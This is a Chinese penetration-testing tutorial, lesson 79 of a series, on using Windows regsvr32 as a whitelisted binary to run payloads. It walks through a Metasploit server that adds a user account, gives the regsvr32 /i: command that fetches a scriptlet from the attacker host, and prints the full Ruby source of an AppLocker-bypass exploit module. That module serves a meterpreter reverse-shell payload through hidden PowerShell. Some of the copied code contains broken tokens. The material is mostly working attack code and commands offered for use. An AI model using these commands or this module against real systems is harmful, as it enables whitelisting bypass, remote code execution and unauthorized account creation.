第七十九课:基于白名单Regsvr32执行payload第九季
注:请多喝点热水或者凉白开,身体特别重要。

Regsvr32简介:

Regsvr32命令用于注册COM组件,是 Windows 系统提供的用来向系统注册控件或者卸载控件的命令,以命令行方式运行。WinXP及以上系统的regsvr32.exe在windows\system32文件夹下;2000系统的regsvr32.exe在winnt\system32文件夹下。但搭配regsvr32.exe使用的 DLL,需要提供 DllRegisterServer 和 DllUnregisterServer两个输出函式,或者提供DllInstall输出函数。
说明:Regsvr32.exe所在路径已被系统添加PATH环境变量中,因此,Regsvr32命令可识别。
Windows 2003 默认位置:
1
C:\WINDOWS\SysWOW64\regsvr32.exe
2
C:\WINDOWS\system32\regsvr32.exe
Copied!
攻击机:192.168.1.4 Debian 靶机: 192.168.1.119 Windows 2003
msf 已内置auxiliary版本的regsvr32_command_delivery_server,但是最新版已经无exploit版本regsvr32,文章结尾补充。

配置攻击机msf:

1
msf auxiliary(server/regsvr32_command_delivery_server) > use auxiliary/server/regsvr32_command_delivery_server
2
msf auxiliary(server/regsvr32_command_delivery_server) > set CMD net user Micropoor Micropoor /add
3
CMD => net user Micropoor Micropoor /add
4
msf auxiliary(server/regsvr32_command_delivery_server) > exploit
5
6
[*] Using URL: http://0.0.0.0:8080/ybn7xESQYCGv
7
[*] Local IP: http://192.168.1.4:8080/ybn7xESQYCGv
8
[*] Server started.
9
[*] Run the following command on the target machine:
10
11
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
Copied!

靶机执行:

1
regsvr32 /s /n /u /i:http://192.168.1.4:8080/ybn7xESQYCGv scrobj.dll
Copied!

附:powershell 版 Regsvr32

regsvr32_applocker_bypass_server.rb
1
##
2
3
# This module requires Metasploit: http://metasploit.com/download
4
# Current source: https://github.com/rapid7/metasploit‐framework
5
6
##
7
8
class MetasploitModule < Msf::Exploit::Remote
9
Rank = ManualRanking
10
11
include Msf::Exploit::Powershell
12
include Msf::Exploit::Remote::HttpServer
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Regsvr32.exe (.sct) Application Whitelisting Bypass Serve r', 'Description' => %q(
17
This module simplifies the Regsvr32.exe Application Whitelisting Bypass technique.
18
The module creates a web server that hosts an .sct file. When the user types the provided regsvr32 command on a system, regsvr32 will request the .sct file and then execute the included PowerShell command.
19
This command then downloads and executes the specified payload (similar to the web_delivery module with PSH).
20
Both web requests (i.e., the .sct file and PowerShell download and execute) can occur on the same port.
21
),
22
23
'License' => MSF_LICENSE,
24
'Author' =>
25
[
26
'Casey Smith', # AppLocker bypass research and vulnerability discover y(\@subTee)
27
'Trenton Ivey', # MSF Module (kn0)
28
],
29
'DefaultOptions' =>
30
{
31
'Payload' => 'windows/meterpreter/reverse_tcp'
32
},
33
'Targets' => [['PSH', {}]],
34
'Platform' => %w(win),
35
'Arch' => [ARCH_X86, ARCH_X86_64],
36
'DefaultTarget' => 0,
37
'DisclosureDate' => 'Apr 19 2016',
38
'References' =>
39
[
40
['URL', 'http://subt0x10.blogspot.com/2016/04/bypass‐application‐whitelisting‐script.html']
41
]
42
))
43
end
44
45
def primer
46
print_status('Run the following command on the target machine:')
47
print_line("regsvr32 /s /n /u /i:\#{get_uri}.sct scrobj.dll")
48
end
49
50
def on_request_uri(cli, _request)
51
# If the resource request ends with '.sct', serve the .sct file
52
# Otherwise, serve the PowerShell payload
53
if _request.raw_uri =~ /\.sct$/
54
serve_sct_file
55
else
56
serve_psh_payload
57
end
58
end
59
60
def serve_sct_file
61
print_status("Handling request for the .sct file from #{cli.peerhost}")
62
ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
63
download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(get_uri)
64
download_and_run = "#{ignore_cert}#{download_string}"
65
psh_command = generate_psh_command_line(
66
noprofile: true,
67
windowstyle: 'hidden',
68
command: download_and_run
69
)
70
data = gen_sct_file(psh_command)
71
send_response(cli, data, 'Content‐Type' => 'text/plain')
72
end
73
74
def serve_psh_payload
75
print_status("Delivering payload to #{cli.peerhost}")
76
data = cmd_psh_payload(payload.encoded,
77
payload_instance.arch.first,
78
remove_comspec: true,
79
use_single_quotes: true
80
)
81
send_response(cli,data,'Content‐Type' => 'application/octet‐stream')
82
end
83
84
def rand_class_id
85
"#{Rex::Text.rand_text_hex 8}#{Rex::Text.rand_text_hex 4}#{Rex::Text.rand_text_hex 4}#{Rex::Text.rand_text_hex 4}#{Rex::Text.rand_text_hex12}"
86
end
87
88
def gen_sct_file(command)
89
%{<?XML version="1.0"?><scriptlet><registrationprogid="\#{rand_text_a lphanumeric 8}"
90
classid="{#{rand_class_id}}"><script><![CDATA[ var r = ne wActiveXObject("WScript.Shell").Run("#{command}",0);]]><script></registration></scriptlet>}
91
end
92
93
end
Copied!
使用方法:
copy regsvr32_applocker_bypass_server.rb to /usr/share/metasploit-framework/modules/exploits/windows/misc
Micropoor
Last modified 2yr ago